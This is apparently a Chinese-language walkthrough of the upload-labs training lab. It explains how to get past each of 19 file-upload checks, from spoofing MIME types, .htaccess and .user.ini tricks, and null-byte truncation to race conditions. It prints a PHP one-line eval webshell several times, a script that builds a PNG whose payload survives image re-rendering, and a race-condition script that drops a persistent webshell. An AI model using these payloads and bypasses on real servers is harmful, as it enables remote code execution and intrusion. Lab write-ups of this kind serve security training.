Pass-01
考察點:前端繞過
發現上傳.php文件時,alert:該文件不允許上傳,請上傳.jpg|.png|.gif,當前文件類型為:php
,這表明驗證點在前端(js),而不在服務端.
F12找找js源碼,整理如下:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請選擇要上傳的文件!");
return false;
}
//定義允許上傳的文件類型
var allow_ext = ".jpg|.png|.gif";
//提取上傳文件的類型
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳文件類型是否允許上傳
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name;
alert(errMsg);
return false;
}
}
直接修改js代碼或者上傳一個有一句話木馬<?php @eval($_POST[value]);?>
的符合題目后綴要求的文件,抓包修改請求內容繞過,蟻劍鏈接
Pass-02
考察點:服務器端MIME繞過
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png')
|| ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '文件類型不正確,請重新上傳!';
}
} else {
$msg = UPLOAD_PATH.'文件夾不存在,請手工創建!';
}
}
很明顯對Content-Type進行了檢查,抓包更改Content-Type進行繞過即可,上傳成功,蟻劍連接
Pass-03
考察點 黑名單過濾
上傳一個寫有AddType application/x-httpd-php .jpg
的.htaccess文件,然后再上傳一個寫有一句話木馬的.jpg文件,蟻劍連接。
.htaccess作用:可以把 .jpg后綴格式的文件名以php格式解析,因此達到了可執行的效果
Pass-04
考察點 .htaccess繞過
同上
Pass-05
考察點 .user.ini
做法類似.htaccess,上傳一個寫有auto_prepend_file=1.jpg
為后綴的.user.ini文件,然后在上傳一個寫有一句話木馬的jpg文件,上傳成功后,蟻劍連接,但是要注意,題目提示上傳目錄存在php文件(readme.php)
所以蟻劍連接的時候要把文件名改成readme.php
.user.ini作用 所有的php文件都自動包含jpg文件
Pass-06
考察點 大小寫繞過
看源碼,黑名單幾乎過濾了所有后綴包括.htaccess,但是發現沒有對大小寫設置,抓包改下大小寫繞過
Pass-07
考察點 空格繞過
空格過濾,直接抓包加空格就好了
Pass-08
考察點 點號繞過
抓包加點
Pass-09
考察點 ::$DATA繞過
::$DATA作用:php在windows中如果文件名+"::$DATA"會把::$DATA之后的數據當成文件流處理,不會檢測后綴名.且保持"::$DATA"之前的文件名(Windows文件流特性)
上傳一句話木馬的.php后綴文件,抓包加::$DATA,上傳成功,蟻劍連接(連接的時候要把文件名的::$DATA去掉)
Pass-10
考察點 .[空格].繞過
注意拼接部分$img_path = UPLOAD_PATH.'/'.$file_name;
最后保存的是原始文件,而不是經過檢測的文件
Pass-11
考察點 雙寫繞過
$file_name = str_ireplace($deny_ext,"", $file_name);
很明顯是雙寫繞過,str_ireplace()函數的作用如下:
把字符串 "Hello world!" 中的字符 "WORLD"(不區分大小寫)替換成 "Shanghai":
<?php
echo str_ireplace("WORLD","Shanghai","Hello world!");
?>
抓包,把.php后綴改為.pphphp,成功繞過
Pass-12
考察點 00截斷(GET)
截斷條件:
1、php版本小於5.3.4
2、php.ini的magic_quotes_gpc為OFF狀態
原理:
url中%00表示ascll碼中的0 ,而ascii中0作為特殊字符保留,表示字符串結束,所以當url中出現%00時就會認為讀取已結束
使用情況:
上傳時路徑可控,使用00截斷
文件下載時,00截斷繞過白名單檢查
文件包含時,00截斷后面限制(主要是本地包含時)
其它與文件操作有關的地方都可能使用00截斷。
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
構造sava_path=/upload/1.php%00
繞過
Pass-13
考察點 00截斷(POST)
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
原理同上,但由於save_path參數通過POST方式傳遞,而POST不會像GET那樣對%00進行自動解碼,所以需要在二進制中進行修改 ,將hex改為00
Pass-14
考察點 圖片馬上傳
可以將圖片帶入到PHP代碼里,從而導致PHP代碼執行
圖片馬制作
GIF的文件頭GIF89a ,ZIP壓縮文件文件頭PK ,7z壓縮文件文件頭7z
法1.創建一個空的.php文件,用notepad++寫入GIF89a <?php @eval($_POST[value]);?>
法2.gif后綴文件,用notepad++寫入一句話木馬
把制作好的圖片馬上傳,打開文件包含漏洞
發送GET請求?file=upload/圖片文件名
,蟻劍連接即可
Pass-15
考察點 getimagesize
getimagesize() 函數用於獲取圖像大小及相關信息,成功返回一個數組,失敗則返回 FALSE 並產生一條 E_WARNING 級的錯誤信息.本關匹配Content-type
索引 [2] 給出的是圖像的類型,返回的是數字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
做法同Pass-14
Pass-16
考察點 exif_imagetype()
exif_imagetype() 讀取一個圖像的第一個字節並檢查其簽名。如果發現了恰當的簽名則返回一個對應的常量,否則返回 FALSE。返回值跟getimagesize() 返回的數組中的索引 [2] 的值是一樣的
要做這個題首先要把Php擴展php_exif開啟
做法同上
Pass-17
考察點 二次渲染 / imagecreatefromjpeg()
imagecreatefromjpeg()會把文件尾部的PHP代碼去除,所以本題只需找到渲染前后沒有變化的位置(可以用beyond compare進行比較),然后將一句話php代碼寫進去,即可上傳成功
做法同上
下列代碼,可以制作一張二次渲染過后,惡意代碼依舊存在的png圖片馬
<?php
//png.php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./pass17.png');
?>
cmd執行php payload.php file.png
paylod.php是寫有以上代碼的文件
file.png是隨意一張png圖片
pass17.png是生成的圖片
png圖片上傳后利用文件包含漏洞傳 post 參數,同時GET:&0=phpinfo
Pass-18
考察點 條件竟爭繞過
條件競爭漏洞是一種服務器端的漏洞,由於服務器端在處理不同的請求時是並發進行的,因此如果並發處理不當或相關操作順序設計的不合理時,將會導致此類問題的發生。
上傳文件源代碼里沒有校驗上傳的文件,文件直接上傳,上傳成功后才進行判斷:如果文件格式符合要求,則重命名,如果文件格式不符合要求,將文件刪除
由於服務器並發處理(同時)多個請求,假如a用戶上傳了木馬文件,由於代碼執行需要時間,在此過程中b用戶訪問了a用戶上傳的文件,會有以下三種情況:
1.訪問時間點在上傳成功之前,沒有此文件
2.訪問時間點在剛上傳成功但還沒有進行判斷,該文件存在
3.訪問時間點在判斷之后,文件被刪除,沒有此文件
可通過bp的intruder模塊大量發送上傳文件數據包,再新開一個intruder模塊大量接受訪問此文件的數據包,會出現一些執行成功的結果
永久:
執行成功時,通過代碼寫入一個文件,文件里寫入木馬, 之后重復臨時的步驟,執行成功時就會將帶有木馬的文件寫入
原文鏈接:https://blog.csdn.net/wsnbbz/article/details/104651408/
創建一個shell.php文件,里邊內容
<?php
$myfile = fopen("shell_pass18.php","w") or die("Unable to open file!");
$txt = '<?php @eval($_POST[value]); echo "i am";?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
上傳抓包,發包到intruder, Clear,Add變量a(自己加的),
Playload type:Numbers
From:1 ,To:11111
打開瀏覽器頁面http://127.0.0.1/upload-labs/upload/shell.php
start attack
瘋狂刷新,看到有頁面一閃而過就可以了
然后訪問http://127.0.0.1/upload-labs/upload/shell_pass18.php
成功,蟻劍連接
Pass-19
同上